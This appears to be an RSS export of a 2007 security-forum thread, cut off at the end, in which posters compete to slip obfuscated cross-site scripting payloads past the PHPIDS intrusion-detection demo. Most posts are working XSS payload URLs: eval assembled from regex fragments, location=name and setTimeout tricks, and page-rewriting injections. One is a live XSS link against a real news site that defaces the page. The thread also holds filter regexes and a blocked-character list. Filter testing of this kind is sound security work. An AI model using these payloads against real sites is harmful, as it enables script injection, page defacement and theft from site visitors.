<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
        <description>Quoted from:
http://groups.google.com/group/php-ids/browse_thread/thread/3ec15f69d6b3dba0/

XSS Vectors:

There are some characteristics in internet explorer that could aid
attackers when doing XSS attacks.

        In IExplorer:
                ??script:
        and
                ???script:
        are translated to vbscript:
        so, for example:
                MYscript:msgbox(&quot;hi&quot;)
        or
                YOUscript:msgbox(&quot;hi&quot;)
        will be treated as:
                vbscript:msgbox(&quot;hi&quot;)
        and anything with:
                ????script:
        will be treated as:
                javascript:
        so..
                somescript:alert(&quot;hi&quot;);
        will be treated as:
                javascript:alert(&quot;hi&quot;);</description>
        <link>http://sla.ckers.org/forum/read.php?2,13209,13209#msg-13209</link>
        <lastBuildDate>Thu, 23 May 2013 13:17:20 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13493#msg-13493</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13493#msg-13493</link>
            <description><![CDATA[Hi!<br />
<br />
The mysterious y is a relic from when we had lots of false positives by the yahoo page slurp spider - and since no critical JS function matches the pattern y\w+ we just fixed the issue that way.<br />
<br />
The location=name vector is evil - i hate the self contained stuff via name because it's almost undetectable. I mean okay - you can detect location[^\w\s]\n*name but that would just catch the un-obfuscated ones.<br />
<br />
Have to think about that...<br />
<br />
Greetings,<br />
.mario]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 16:09:45 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13489#msg-13489</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13489#msg-13489</link>
            <description><![CDATA[kishord Wrote:<br />
-------------------------------------------------------<br />
&gt; a=alert<br />
&gt; a(0)<br />
&gt; <br />
&gt; This harmless vector is still alive<br />
<br />
Speaking of super-simple stuff, this not so harmless one is too:<br />
<br />
http://hackademix.net/name.xss/***http://demo.php-ids.org/?test=location=name***content,post]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 14:55:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13486#msg-13486</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13486#msg-13486</link>
            <description><![CDATA[@.mario:<br />
Excuse my ignorance, but what's exactly the magic of &quot;y&quot; in<br />
<br />
(?:[^<b>y</b>](?:hash|host|hostname|href|source|pathname|port|protocol|searcages|links|cookie|innerhtml|innertext|outerhtml)\s*(?:[^\w\s]|\n))]<br />
<br />
and<br />
<br />
(?:[^<b>y</b>](?:charat|charcodeat|concat|fromcharcode|indexof|lastindexof|match|replace|search|slice|split|substr|substring|escape)\s*(?:[^\w\s]|\n))<br />
<br />
Probably related, why <br />
<br />
&amp;yport=80<br />
<br />
is innocuous while<br />
<br />
&amp;xport=80<br />
<br />
is almost as evil as the terrible<br />
<br />
&amp;port=80<br />
<br />
? :)]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 14:34:53 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13484#msg-13484</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13484#msg-13484</link>
            <description><![CDATA[That little.. ******* ;) Thx kishord - almost forgot it!]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 13:59:06 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13481#msg-13481</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13481#msg-13481</link>
            <description><![CDATA[a=alert<br />
a(0)<br />
<br />
This harmless vector is still alive]]></description>
            <dc:creator>kishord</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 13:50:46 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13473#msg-13473</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13473#msg-13473</link>
            <description><![CDATA[@.mario:<br />
Since you're not satisfied yet with PHPIDS' newline attacks detection, one-liner here for fairness sake :)<br />
<br />
http://hackademix.net/name.xss/***http://demo.php-ids.org/?test=b%3Dtop%2Ca%3D/loc/%20.%20source%2Ca%2B%3D/ation/%20.%20source%2Cb%5Ba%3Da%5D%20%3D%20name***content,<br />
<br />
BTW, if anyone is interested I've just generalized <b>name.xss</b> for general consumption. Here's a <a href="http://hackademix.net/name.xss" rel="nofollow" >&quot;man page&quot;</a>]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 10:32:15 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13470#msg-13470</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13470#msg-13470</link>
            <description><![CDATA[@ma1: fixed and fixed]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 10:09:59 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13468#msg-13468</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13468#msg-13468</link>
            <description><![CDATA[Ronald wrote:<br />
<br />
&quot;Like ma1 said, it's not a good idea to block =&amp;()[] because they (can) happen. At least the few I mentioned, are almost a must to launch a sensible attack: ' &quot; &lt; &gt; <br />
<br />
Love to hear anyones reaction upon it, since I already use this method for over a year now.&quot;<br />
<br />
I agree with this, on some mine project I only block mentioned chars (' &quot; &lt; &gt;), all anothers are allowed and properly handled with application logic.]]></description>
            <dc:creator>Ivan</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 09:12:52 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13464#msg-13464</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13464#msg-13464</link>
            <description><![CDATA[Vector of the day:<br />
<br />
http://hackademix.net/name.xss/***http://demo.php-ids.org/?test=a=/ev///%0a.source%0aa%2b=/al///%0a.source%0aa%5ba%5d%20%28name%29***content<br />
<br />
Slight variation:<br />
<br />
http://hackademix.net/name.xss/***http://demo.php-ids.org/?test=a%3D/ev/%20%0A.source%0Aa%2B%3D/al/%20%0A.source%2Ca%20%3D%20a%5Ba%5D%0Aa%28name%29***content<br />
<br />
Cheers]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 06:44:32 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13457#msg-13457</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13457#msg-13457</link>
            <description><![CDATA[@all,@ma1: Nice ones aaand fixed ;) As already posted in the group the timed out one is pretty neat!<br />
<br />
@Ronald: Yep - I guess we'll have to discuss that with christ1an and lars too but it thinks it's no bad idea. Let's chitchat later about the PHPIDS for PHP4 if you like. We are planning to release 0.3 an thursday and would be a nice feature to have this version aboard. <br />
<br />
Greetings,<br />
.mario]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 09 Jul 2007 04:12:27 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13453#msg-13453</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13453#msg-13453</link>
            <description><![CDATA[@.mario<br />
<br />
clearly it's impossible to detect everything with RegExes alone, that is exactly why I block single chars like: ' &quot; &lt; &gt; on the request uri in my .htaccess, cause they never happen, I have a few more but those are only for my site.<br />
<br />
So like you proposed, I guess it would be a very good idea to have a triage upon such datasets. The previous examples are nice and all, but pretty useless to launch an sensible attack, Only a few characters that should be detect upon every instance.<br />
<br />
Like ma1 said, it's not a good idea to block =&amp;()[] because they (can) happen. At least the few I mentioned, are almost a must to launch a sensible attack: ' &quot; &lt; &gt;<br />
<br />
Love to hear anyones reaction upon it, since I already use this method for over a year now.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 08 Jul 2007 22:06:29 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13452#msg-13452</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13452#msg-13452</link>
            <description><![CDATA[ma1 Wrote:<br />
-------------------------------------------------------<br />
&gt; .mario Wrote:<br />
&gt; --------------------------------------------------<br />
&gt; ----- <br />
&gt; &gt; @Ronald: I agree when talking about GET<br />
&gt; Requests.<br />
&gt; <br />
&gt; So these are all illegal, right?<br />
&gt; <br />
&gt; http://en.wikipedia.org/wiki/Heroes_(TV_series%29<br />
&gt; <br />
&gt; http://kb.mozillazine.org/Label%3D%22%26blockImage<br />
&gt; Cmd._label%3B%22<br />
&gt; <br />
&gt; http://developer.mozilla.org/en/docs/Core_JavaScri<br />
&gt; pt_1.5_Reference:Global_Functions:eval<br />
&gt; <br />
&gt; And I didn't even add any query string :)<br />
&gt; <br />
&gt; As for the tilde character, ~, maybe you're too<br />
&gt; young to remember the time when most of the web<br />
&gt; URLs contained one (especially in .edu sites),<br />
&gt; because it's an Unix shortcut for user's home.<br />
&gt; <br />
&gt; Finally, ?param=&amp; is quite common and legal, since<br />
&gt; it's sent every time an optional field is left<br />
&gt; empty in a form.<br />
<br />
<br />
Yeah that's why Wikipedia sucks as an example because they work in a very different way by using a meta language, so that doesn't really counts. I mean in &quot;normal&quot; queries I never seen those chars, some do sure. But the only ones I use are pipes or spaces, which are pretty standard in developing. The rest I detect upon. While this said the quote set: ' &quot; and less/greater signs &gt; &lt; without them (and illegal btw) it's is nearly impossible to construct a good injection, the rest is refinement upon them. <br />
<br />
So when you detect them, you are half the way.<br />
<br />
Oh yeah I'm way too old to remember the tilde ~ <br />
my first homepage had one, I'm close to 30 now, so I know this was a special reference character back then.<br />
<br />
Just like: &lt; &gt; ' &quot; chars are, ever saw one in a normal query?<br />
<br />
Yeah, I know why I love standards, standards in developing just because of this mayhem alone.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 08 Jul 2007 21:56:40 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13442#msg-13442</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13442#msg-13442</link>
            <description><![CDATA[@.mario:<br />
wow, that's been fast.<br />
Starting to pant, like SDC :)<br />
<br />
This one is still cross-browser, with some &quot;bouncing&quot;:<br />
<br />
http://hackademix.net/name.xss/http://demo.php-ids.org/?test=setTimeout//%0D%0A%28name//%0D%0A,0%29///payloadId=1]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 08 Jul 2007 17:40:41 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13426#msg-13426</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13426#msg-13426</link>
            <description><![CDATA[It's a pity XML predicates don't work in IE :(<br />
<br />
This one is cross-browser, though:<br />
http://demo.php-ids.org/?test=%24_%3Ddocument%2C%24__%3D%24_.URL%2C%24___%3Dunescape%2C%24_%3D%24_.body%2C%24_.innerHTML%20%3D%20%24___(http%3D%24__)#%3Ciframe%20src%3D%22javascript%3Atop.document.body.firstChild.nodeValue%3D''%2Calert('PWND%20%3A)')%22%3E%3C%2Fiframe%3E%3Cdiv%20style%3D'text-align%3A%20center%3B%20background%3A%20yellow'%3E%3Ch2%3EPWND%20by%20ma1%3C%2Fh2%3E%3Ca%20href%3D'http%3A%2F%2Fnoscript.net'%3EThere's%20a%20browser%20safer%20than%20Firefox...%20it's%20Firefox%2C%20with%20NoScript%3C%2Fa%3E%3C%2Fdiv%3E%3C%2Fbody%3E%3C%2Fhtml%3E<br />
<br />
Have a nice Sunday :)]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 08 Jul 2007 06:58:43 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13425#msg-13425</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13425#msg-13425</link>
            <description><![CDATA[Totally evil - awesome vector SDC!]]></description>
            <dc:creator>Martin</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 08 Jul 2007 05:15:58 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13423#msg-13423</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13423#msg-13423</link>
            <description><![CDATA[Wow!<br />
<br />
That was unexpected and I am speechless!]]></description>
            <dc:creator>kishord</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 07 Jul 2007 23:10:18 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13413#msg-13413</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13413#msg-13413</link>
            <description><![CDATA[Hi!<br />
<br />
Today I'll introduce the use of XML Predicates in JavaScript to the<br />
vectors.<br />
<br />
I was trying to leave this to the end, but..<br />
<br />
http://demo.php-ids.org/?test=y%3D%3Ca%3Ealert%3C/a%20%3E%3Bcontent%5By%5D%28123%29<br />
<br />
The code:<br />
y=&lt;a&gt;alert&lt;/a &gt;;content[y](123)<br />
<br />
The XML Predicate:<br />
y=&lt;a&gt;alert&lt;/a &gt;;<br />
<br />
I'm running out of ideas :P, this filter is a pretty hard obstacle to<br />
any attacker, congratulations mario :D<br />
<br />
Greetz!!<br />
<br />
PS. <b>content</b>=window<br />
JavasCrypt rulz :P]]></description>
            <dc:creator>sirdarckcat</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 07 Jul 2007 08:29:11 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13412#msg-13412</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13412#msg-13412</link>
            <description><![CDATA[http://demo.php-ids.org/?test=%24%3Ddocument%2C%24%3D%24.URL%2C%24%24%3Dunescape%2C%24%24%24%3Deval%2C%24%24%24%28%24%24%28%24%29%29#%0Aalert%28%27$$$%20PECUNIA%20NON%20OLET%20$$$%27%29<br />
<br />
... &amp;&amp; JavasCrypt.votes++ //:)]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 07 Jul 2007 04:45:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13411#msg-13411</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13411#msg-13411</link>
            <description><![CDATA[@Kishord: Thanks for the explanation - JavaSCrypt matches the properties of that vector ;) I was also thinking about 'The new dawn of filter evasion' :D<br />
<br />
Greetings,<br />
.mario]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 07 Jul 2007 04:04:31 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13409#msg-13409</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13409#msg-13409</link>
            <description><![CDATA[@Mario<br />
<br />
Hi, Here is an explanation of the vector:<br />
<br />
evil=/ev/.source+/al/.source<br />
//---variable evil now contains string 'eval'<br />
<br />
changeProto=/Strin/.source+<br />
   /g.prototyp/.source+<br />
   /e.ss=/.source+<br />
   /Strin/.source+<br />
   /g.prototyp/.source+<br />
   /e.substrin/.source+<br />
   /g/.source;<br />
<br />
//--- changeProto now contains string 'String.prototype.ss=String.prototype.substring'<br />
// Thus now ss is same as substring for any string<br />
<br />
<br />
hashCod=/documen/.source+<br />
   /t.locatio/.source+<br />
   /n.has/.source+<br />
   /h/.source;<br />
<br />
// hashCod now contains string 'document.location.hash'<br />
<br />
7[evil](changeProto);<br />
// In turn, the statement above executes eval(changeProto)<br />
<br />
hash=7[evil](hashCod);<br />
<br />
// In turn, the statement above executes hash=eval(hashCod)<br />
// Thus hashCod now holds a string &quot;#alert('Kishor Was Here!')&quot;<br />
<br />
cod=hash.ss(1);<br />
<br />
// Since we added ss to String class, cod becomes = &quot;alert('Kishor Was Here!')&quot;<br />
<br />
7[evil](cod);<br />
// We use the eval to evaluate cod<br />
<br />
<br />
In the link of the POC I needed to rename several things e.g. hash to hsh<br />
<br />
<br />
Hope it was simple ;)<br />
<br />
@Mario<br />
When you write all this up, consider using word 'JavasCrypt' in the title<br />
if it doesn't sound like a bad idea.]]></description>
            <dc:creator>kishord</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 07 Jul 2007 01:25:28 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13398#msg-13398</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13398#msg-13398</link>
            <description><![CDATA[http://www.ietf.org/rfc/rfc1738.txt<br />
http://www.ietf.org/rfc/rfc1808.txt<br />
http://gbiv.com/protocols/uri/rfc/rfc3986.html#collected-abnf<br />
<br />
K - I agree.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 17:10:39 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13397#msg-13397</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13397#msg-13397</link>
            <description><![CDATA[.mario Wrote:<br />
------------------------------------------------------- <br />
&gt; @Ronald: I agree when talking about GET Requests.<br />
<br />
So these are all illegal, right?<br />
<br />
http://en.wikipedia.org/wiki/Heroes_(TV_series%29<br />
<br />
http://kb.mozillazine.org/Label%3D%22%26blockImageCmd._label%3B%22<br />
<br />
http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Global_Functions:eval<br />
<br />
And I didn't even add any query string :)<br />
<br />
As for the tilde character, ~, maybe you're too young to remember the time when most of the web URLs contained one (especially in .edu sites), because it's an Unix shortcut for user's home.<br />
<br />
Finally, ?param=&amp; is quite common and legal, since it's sent every time an optional field is left empty in a form.]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 16:50:44 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13396#msg-13396</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13396#msg-13396</link>
            <description><![CDATA[@all: nice ones again... and fixed :)<br />
<br />
@Kishord: Wow. I'm speechless. What is that?<br />
<br />
@Ronald: I agree when talking about GET Requests. Maybe we should consider doing a before-filter validation when the request type is GET to add initial impact when spiced with illegal characters.<br />
<br />
Grx<br />
.mario]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 16:31:05 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13394#msg-13394</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13394#msg-13394</link>
            <description><![CDATA[Ronald Wrote:<br />
-------------------------------------------------------<br />
&gt; This is exactly what I meant:<br />
&gt; http://demo.php-ids.org/?test=___%3D1%3F%27ert%281<br />
&gt; 23%29%27%3A0%2C_%3D1%3F%27al%27%3A0%2C__%3D1%3F%27<br />
&gt; ev%27%3A0%2C1%5B__%2B_%5D%28_%2B___%29<br />
&gt; <br />
&gt; This will never happen in a legitimate query and<br />
&gt; thereby this can be detected very quickly with all<br />
&gt; combinations of: ( = , ' &quot; : ( ) [ ])<br />
&gt; <br />
&gt; I personally never saw a queries like this, did<br />
&gt; you?<br />
<br />
I can't see anything illegal in that query, it's all urlencoded:<br />
test=___%3D1%3F%27ert%28123%29%27%3A0%2C_%3D1%3F%27al%27%3A0%2C__%3D1%3F%27ev%27%3A0%2C1%5B__%2B_%5D%28_%2B___%29<br />
<br />
BTW, if I was an admin of this board, I would obviously see a lot of legitimate HTTP requests like that, especially in the traffic related to the &quot;So it begins&quot; thread.]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 16:04:08 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13391#msg-13391</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13391#msg-13391</link>
            <description><![CDATA[This is exactly what I meant:<br />
http://demo.php-ids.org/?test=___%3D1%3F%27ert%28123%29%27%3A0%2C_%3D1%3F%27al%27%3A0%2C__%3D1%3F%27ev%27%3A0%2C1%5B__%2B_%5D%28_%2B___%29<br />
<br />
This will never happen in a legitimate query and thereby this can be detected very quickly with all combinations of: ( = , ' &quot; : ( ) [ ])<br />
<br />
I personally never saw a queries like this, did you? <br />
<br />
<pre class="bbcode">
index.php?id=' // illegal
index.php?id=f=b // illegal
index.php?id=( // illegal
index.php?id=&lt; // illegal
index.php?id=&gt; // illegal
index.php?id=^ // illegal
index.php?id=&amp; // illegal
index.php?id=$ // illegal
index.php?id=~ // illegal
index.php?id=` // illegal</pre>
<br />
Know why? because they are unsafe chars and should be detected in the first IDS round, because they are used to pentest a system first in order to refine the injection later.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 15:40:52 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13390#msg-13390</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13390#msg-13390</link>
            <description><![CDATA[kishord Wrote:<br />
-------------------------------------------------------<br />
&gt; &gt; Kishor Was Here!<br />
&gt; <br />
&gt; Hmmm, looks like once you are inside script tag,<br />
&gt; you rule the world!<br />
<a href="http://www.pcworld.com/article/id,132153-page,4-c,onlinesecurity/article.html';eval(unescape(location))//#%0Aeval%28String.fromCharCode%2840%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C40%2C41%2C32%2C123%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C95%2C120%2C115%2C115%2C95%2C32%2C61%2C32%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C40%2C41%2C32%2C123%2C105%2C102%2C32%2C40%2C33%2C36%2C40%2C34%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C84%2C111%2C111%2C108%2C98%2C97%2C114%2C34%2C41%2C41%2C32%2C123%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C115%2C101%2C116%2C84%2C105%2C109%2C101%2C111%2C117%2C116%2C40%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C95%2C120%2C115%2C115%2C95%2C44%2C32%2C49%2C48%2C48%2C41%2C59%2C114%2C101%2C116%2C117%2C114%2C110%2C59%2C125%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C103%2C101%2C116%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C115%2C66%2C121%2C67%2C108%2C97%2C115%2C115%2C78%2C97%2C109%2C101%2C40%2C34%2C97%2C114%2C116%2C83%2C117%2C98%2C116%2C105%2C116%2C108%2C101%2C34%2C41%2C91%2C48%2C93%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C32%2C61%2C32%2C34%2C60%2C100%2C105%2C118%2C32%2C115%2C116%2C121%2C108%2C101%2C61%2C39%2C99%2C111%2C108%2C111%2C114%2C58%2C32%2C114%2C101%2C100%2C59%2C32%2C102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C32%2C51%2C48%2C48%2C37%2C39%2C62%2C66%2C85%2C76%2C76%2C83%2C72%2C73%2C84%2C33%2C60%2C47%2C100%2C105%2C118%2C62%2C60%2C97%2C32%2C115%2C116%2C121%2C108%2C101%2C61%2C39%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C32%2C121%2C101%2C108%2C108%2C111%2C119%2C58%2C32%2C112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C32%2C56%2C112%2C120%2C59%2C32%2C99%2C111%2C108%2C111%2C114%2C58%2C32%2C35%2C56%2C48%2C48%2C59%2C32%2C100%2C105%2C115%2C112%2C108%2C97%2C121%2C58%2C32%2C98%2C108%2C111%2C99%2C107%2C39%2C32%2C104%2C114%2C101%2C102%2C61%2C39%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C110%2C111%2C115%2C99%2C114%2C105%2C112%2C116%2C46%2C110%2C101%2C116%2C39%2C62%2C71%2C101%2C116%2C32%2C78%2C111%2C83%2C99%2C114%2C105%2C112%2C116%2C44%2C32%2C82%2C85%2C78%2C33%2C33%2C33%2C60%2C47%2C97%2C62%2C34%2C59%2C125%2C59%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C95%2C120%2C115%2C115%2C95%2C40%2C41%2C59%2C125%2C41%2C41%2C40%2C41%29%29" rel="nofollow" ><br />
Oh yeah!</a><br />
<br />
<i><b>Disclaimer &amp; credits</b>: original disclosure and flattering proof of concept courtesy of <a href="http://www.wilderssecurity.com/member.php?u=67491" rel="nofollow" >elio</a><br />
<b>Warning</b>: if you use NoScript, you'll need to allow a ton of assorted junk, included google analytics: the first ad-sponsored XSS? :D<br />
</i>]]></description>
            <dc:creator>ma1</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 15:34:46 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13384#msg-13384</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13384#msg-13384</link>
            <description><![CDATA[Interesting, RegExp.source :P<br />
<br />
here is an incomplete vector, I didn't had time to implement into the &quot;location&quot; way..<br />
<br />
http://demo.php-ids.org/?test=___%3D1%3F%27ert%28123%29%27%3A0%2C_%3D1%3F%27al%27%3A0%2C__%3D1%3F%27ev%27%3A0%2C1%5B__%2B_%5D%28_%2B___%29<br />
<br />
anyway it shows an alert :P<br />
<br />
Greetz!!]]></description>
            <dc:creator>sirdarckcat</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 13:18:03 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13382#msg-13382</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
            <link>http://sla.ckers.org/forum/read.php?2,13209,13382#msg-13382</link>
            <description><![CDATA[<a href="http://demo.php-ids.org/?test=evil%3D/ev/.source%2b/al/.source%2CchangeProto%3D/Strin/.source%2b/g.prototyp/.source%2b/e.ss%3D/.source%2b/Strin/.source%2b/g.prototyp/.source%2b/e.substrin/.source%2b/g/.source%2ChshCod%3D/documen/.source%2b/t.locatio/.source%2b/n.has/.source%2b/h/.source%3B7%5Bevil%5D%28changeProto%29%3Bhsh%3D7%5Bevil%5D%28hshCod%29%2Ccod%3Dhsh.ss%281%29%3B7%5Bevil%5D%28cod%29#alert%28%22Kishor%20Was%20Here%21%22%29" rel="nofollow" ><br />
Kishor Was Here!</a><br />
<br />
Hmmm, looks like once you are inside script tag, you rule the world!]]></description>
            <dc:creator>kishord</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 06 Jul 2007 12:43:25 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,13209,13378#msg-13378</guid>
            <title>Re: InternetExplorer &quot;javascript/vbscript&quot; aliases</title>
